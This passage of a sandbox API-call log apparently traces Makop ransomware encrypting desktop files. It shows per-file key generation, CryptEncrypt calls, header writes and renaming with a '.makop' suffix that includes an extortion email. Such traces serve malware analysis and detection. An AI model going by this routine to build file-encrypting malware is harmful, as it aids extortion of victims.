lpOverlapped=0x0) returned 1 [0056.248] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0056.248] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0056.248] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0056.248] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.248] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.248] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8647, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x8647, lpOverlapped=0x0) returned 1 [0056.249] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x8650, dwBufLen=0x8650 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x8650) returned 1 [0056.250] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.250] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x8650, lpOverlapped=0x0) returned 1 [0056.250] CryptDestroyKey (hKey=0x48c7028) returned 1 [0056.250] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x8734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.329] SetEndOfFile (hFile=0xc4) returned 1 [0056.336] GetProcessHeap () returned 0x48a0000 [0056.336] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0056.336] GetProcessHeap () returned 0x48a0000 [0056.336] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.336] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\Rny5iT5RRqi8J1Vyb9X.m4a.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0056.336] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\Rny5iT5RRqi8J1Vyb9X.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\rny5it5rrqi8j1vyb9x.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\Rny5iT5RRqi8J1Vyb9X.m4a.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\rny5it5rrqi8j1vyb9x.m4a.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.338] CloseHandle (hObject=0xc4) returned 1 [0056.338] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0c5b0, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0x3f60b500, ftLastAccessTime.dwHighDateTime=0x1d5e4df, ftLastWriteTime.dwLowDateTime=0x3f60b500, ftLastWriteTime.dwHighDateTime=0x1d5e4df, nFileSizeHigh=0x0, nFileSizeLow=0x8647, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rny5iT5RRqi8J1Vyb9X.m4a", cAlternateFileName="RNY5IT~1.M4A")) returned 0 [0056.338] FindClose (in: hFindFile=0x48c6fe8 | out: hFindFile=0x48c6fe8) returned 1 [0056.338] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82779930, ftCreationTime.dwHighDateTime=0x1d5dd3c, ftLastAccessTime.dwLowDateTime=0xc2f05540, ftLastAccessTime.dwHighDateTime=0x1d5d83e, ftLastWriteTime.dwLowDateTime=0xc2f05540, ftLastWriteTime.dwHighDateTime=0x1d5d83e, nFileSizeHigh=0x0, nFileSizeLow=0x9cef, dwReserved0=0x0, dwReserved1=0x0, cFileName="NCns.jpg", cAlternateFileName="")) returned 1 [0056.338] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NCns.jpg") returned 46 [0056.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NCns.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ncns.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.340] GetProcessHeap () returned 0x48a0000 [0056.341] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.341] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.341] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.341] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x1, lpOverlapped=0x0) returned 1 [0056.343] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.343] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.343] GetProcessHeap () returned 0x48a0000 [0056.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0056.343] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0056.344] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.344] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0056.344] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0056.344] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0056.344] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0056.344] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0056.345] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0056.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.345] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.345] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.345] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9cef, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x9cef, lpOverlapped=0x0) returned 1 [0056.346] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x9cf0, dwBufLen=0x9cf0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x9cf0) returned 1 [0056.346] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.346] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9cf0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x9cf0, lpOverlapped=0x0) returned 1 [0056.347] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.347] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x9db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.347] SetEndOfFile (hFile=0x120) returned 1 [0056.354] GetProcessHeap () returned 0x48a0000 [0056.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0056.354] GetProcessHeap () returned 0x48a0000 [0056.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NCns.jpg.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 93 [0056.354] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NCns.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ncns.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NCns.jpg.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ncns.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.359] CloseHandle (hObject=0x120) returned 1 [0056.360] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538ec170, ftCreationTime.dwHighDateTime=0x1d5e40d, ftLastAccessTime.dwLowDateTime=0xf79ca970, ftLastAccessTime.dwHighDateTime=0x1d5e22e, ftLastWriteTime.dwLowDateTime=0xf79ca970, ftLastWriteTime.dwHighDateTime=0x1d5e22e, nFileSizeHigh=0x0, nFileSizeLow=0x52c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QnF-.avi", cAlternateFileName="")) returned 1 [0056.360] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QnF-.avi") returned 46 [0056.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QnF-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnf-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.360] GetProcessHeap () returned 0x48a0000 [0056.360] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.360] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.361] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.361] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x9, lpOverlapped=0x0) returned 1 [0056.363] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.363] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.363] GetProcessHeap () returned 0x48a0000 [0056.363] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0056.364] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0056.364] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.364] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0056.364] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0056.364] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0056.364] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0056.364] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0056.365] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0056.365] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.365] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.365] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.365] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x52c7, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x52c7, lpOverlapped=0x0) returned 1 [0056.366] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x52d0) returned 1 [0056.366] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.366] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x52d0, lpOverlapped=0x0) returned 1 [0056.366] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.366] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x5394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.367] SetEndOfFile (hFile=0x120) returned 1 [0056.374] GetProcessHeap () returned 0x48a0000 [0056.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0056.374] GetProcessHeap () returned 0x48a0000 [0056.374] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.374] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QnF-.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 93 [0056.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QnF-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnf-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QnF-.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnf-.avi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.484] CloseHandle (hObject=0x120) returned 1 [0056.485] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f59b0, ftCreationTime.dwHighDateTime=0x1d5e7a3, ftLastAccessTime.dwLowDateTime=0x9c03d920, ftLastAccessTime.dwHighDateTime=0x1d5e10d, ftLastWriteTime.dwLowDateTime=0x9c03d920, ftLastWriteTime.dwHighDateTime=0x1d5e10d, nFileSizeHigh=0x0, nFileSizeLow=0x137f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RH9Bhxy4X.doc", cAlternateFileName="RH9BHX~1.DOC")) returned 1 [0056.485] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RH9Bhxy4X.doc") returned 51 [0056.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RH9Bhxy4X.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rh9bhxy4x.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.486] GetProcessHeap () returned 0x48a0000 [0056.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.486] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.486] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.486] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xa, lpOverlapped=0x0) returned 1 [0056.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.489] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.489] GetProcessHeap () returned 0x48a0000 [0056.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0056.489] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0056.489] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.489] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0056.490] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0056.490] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0056.490] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0056.490] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0056.490] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0056.490] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.490] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.490] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.491] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x137f6, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x137f6, lpOverlapped=0x0) returned 1 [0056.492] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x13800, dwBufLen=0x13800 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x13800) returned 1 [0056.493] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.493] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13800, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x13800, lpOverlapped=0x0) returned 1 [0056.494] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.494] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x138d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.494] SetEndOfFile (hFile=0x120) returned 1 [0056.502] GetProcessHeap () returned 0x48a0000 [0056.502] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0056.502] GetProcessHeap () returned 0x48a0000 [0056.502] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.502] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RH9Bhxy4X.doc.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 98 [0056.502] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RH9Bhxy4X.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rh9bhxy4x.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RH9Bhxy4X.doc.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rh9bhxy4x.doc.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.507] CloseHandle (hObject=0x120) returned 1 [0056.508] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbce4590, ftCreationTime.dwHighDateTime=0x1d5d866, ftLastAccessTime.dwLowDateTime=0xf1b80300, ftLastAccessTime.dwHighDateTime=0x1d5e5fe, ftLastWriteTime.dwLowDateTime=0xf1b80300, ftLastWriteTime.dwHighDateTime=0x1d5e5fe, nFileSizeHigh=0x0, nFileSizeLow=0x157f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="V498SvTI0 yM.doc", cAlternateFileName="V498SV~1.DOC")) returned 1 [0056.508] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V498SvTI0 yM.doc") returned 54 [0056.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V498SvTI0 yM.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v498svti0 ym.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.508] GetProcessHeap () returned 0x48a0000 [0056.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.508] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.509] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.509] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xd, 